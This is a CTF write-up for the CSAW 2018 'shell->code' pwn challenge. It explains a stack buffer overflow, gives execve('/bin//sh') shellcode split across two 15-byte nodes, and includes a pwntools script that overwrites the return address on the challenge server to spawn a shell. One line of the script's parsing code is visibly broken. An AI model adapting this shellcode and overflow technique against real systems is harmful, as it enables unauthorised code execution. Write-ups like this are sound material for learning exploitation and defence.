CSAW CTF Qualification Round 2018 - shell->code 100 - Pwn
Linked lists are great! They let you chain pieces of data together.
nc pwn.chal.csaw.io 9005
Easy pwning challenge where the program receives three inputs from the user. First two inputs are of 15 bytes each, and third input, which is where we can overwrite the instruction pointer with a buffer overflow.
The trick of this challenge is that we just have 15 bytes (+15 bytes) where we can place our shellcode. Thus, we need to modify our shellcode to jump to the second part.
$ file shellpointcode shellpointcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=214cfc4f959e86fe8500f593e60ff2a33b3057ee, not stripped
Function where the program gets the two first inputs and it prints the address where first input is saved (it will be where our shellcode starts).
$ ./shellpointcode Linked lists are great! They let you chain pieces of data together. (15 bytes) Text for node 1: TEST (15 bytes) Text for node 2: TESTTTTTTTTT node1: node.next: 0x7ffdac473710 node.buffer: TEST What are your initials? FOOOOOOOOOOOOOOOOOOBARRR Thanks FOOOOOOOOOOOOOOOOOOBARRR Segmentation fault
Next step is overwrite RIP and examine where is node 1 and node 2, then, go to peda and exploit it!
and look where is the offset.
[RSP] --> offset 11 - size ~20
Thus, our exploit should be 11 bytes offset + node 1 address
To know where is node 1, as we know the print that the program returned. So we examine the stack and subtract this address with node 1.
0x7fffffffdfa8-0x7fffffffdf80 = 40
Now we know how to jump to our shellcode placed in node 1, the problem is that node 1 only has 15 bytes and the shellcode which I want to use has 30 bytes.
An easy x64 shellcode of 30 bytes:
xor rax, rax mov rdi, 0x68732f6e69622f2f xor rsi, rsi push rsi push rdi mov rdi, rsp xor rdx, rdx mov al, 59 syscall
We know that both variables are saving in memory in consecutive order.
node 1 + \n + node 2
Therefore, we cut the shellcode in two parts, the first part ends with pop rxc in order to remove \n and jmp rsp in order to jump to node 2 (also, we hace removed xor eax, eax; because we dont need it)
Now we can put all together and get the flag!!
; Node 1 mov rdi, 0x68732f6e69622f2f pop rcx jmp rsp ; Node 2 xor rsi, rsi push rsi push rdi mov rdi, rsp xor rdx, rdx mov al, 59 syscall
from pwn import * context(arch = 'amd64', os = 'linux') #p = process("./shellpointcode") #p = gdb.debug("/home/manu/CTF/CSAW_2018/pwn/shellpointcode", ''' # c #''') p = remote('pwn.chal.csaw.io',9005) shell1 = "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x59\xff\xe4" shell2 = "\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05" node_1 = p.recvuntil("(15 bytes) Text for node 1:") shellcode = "\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05" p.sendline(shell1) node_2 = p.recvuntil("(15 bytes) Text for node 2:") p.sendline(shell2) data = p.recvuntil("What are your initials?\x0a") shellcode_addr = data.split("\n").split(":").strip() addr = p64(int(shellcode_addr, 16)+0x28) log.info("Shellcode addr = %s"%hex(int(shellcode_addr, 16)+0x28)) p.sendline("A"*11+addr) p.interactive()
Exploit (with flag):